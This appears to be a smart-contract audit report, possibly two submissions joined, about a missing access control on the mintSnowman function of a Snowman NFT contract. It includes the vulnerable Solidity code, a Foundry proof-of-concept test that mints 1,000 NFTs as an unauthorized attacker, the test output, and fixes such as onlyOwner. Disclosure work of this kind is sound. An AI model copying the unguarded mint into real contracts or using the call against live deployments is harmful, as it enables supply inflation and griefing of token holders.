Critical (CVSS 3.1: 9.1)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
The mint is reachable by any address over the network with zero
prerequisites and zero cost. Exploitation is immediate, requires no
victim interaction, and cannot be prevented by any existing contract
mechanism. Unbounded supply inflation of the NFT collection is
guaranteed once the contract is deployed.
Likelihood:
Likelihood: Very High
Attack vector: network — anyone can call mintSnowman via any RPC
endpoint. No wallet, whitelist, role, or precondition is required,
and the function is public and visible on block explorers.
Attack complexity: low — a single transaction, no setup, no timing
dependency, no queuing of multiple steps. The loop is trivial and
free to execute.
Privileges required: none. A brand-new address with zero balance and
zero history can do it.
User interaction: none. The victim does not need to click, sign, or
approve anything; the NFTs simply land in their wallet.
No countermeasure exists: there is no access control, no rate limit,
and no admin kill-switch on the mint, so there is nothing to fail or
bypass — the path is already open.
Realistic attacker behavior: bots and front-runners watch new
contracts and will hit a free mint like this within the first blocks.
Since it costs nothing, there is no economic reason for an attacker
to wait.
Overall: exploitation is a one-line, zero-cost call with no meaningful
prerequisites or barriers, so the event is expected to happen the moment
the contract is deployed — not merely possible.
Impact:
Unbounded, unowned token supply: anyone can inflate the collection
arbitrarily, at any time, without paying anything.
Griefing of arbitrary addresses: an attacker can dump unlimited NFTs
into any victim's wallet. Contract accounts receive an unavoidable
onERC721Received callback; EOAs just see their balance grow against
their will.
The scarcity model of the airdrop is destroyed, which collapses the
collection's implied secondary-market value and holder trust.
The airdrop's supply cap is illusory: combined with F1 (signature
replay), the collection effectively has no cap at all.
Test: test/PoC/PoC_UnauthorizedMint.t.sol
Reproduction: forge test --match-path "test/PoC/*" -vv
[PASS] test_Exploit_AnyAddressMintsUnlimitedNFTs()
Logs:
tokenCounter before: 0
attacker NFT balance: 5
victim NFT balance: 3
tokenCounter after: 8
Gate the caller at the top of mintSnowman:
if (msg.sender != owner() && msg.sender != address(i_airdrop))
revert SM__NotAllowed();
Cleaner alternative: OpenZeppelin AccessControl with a MINTER_ROLE
granted only to the airdrop contract, and have minting to arbitrary
receivers remain airdrop-mediated.
Add amount > 0 validation (reuse the SM__NotAllowed pattern or a
dedicated error) so mintSnowman(x, 0) reverts instead of returning
success.
# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```
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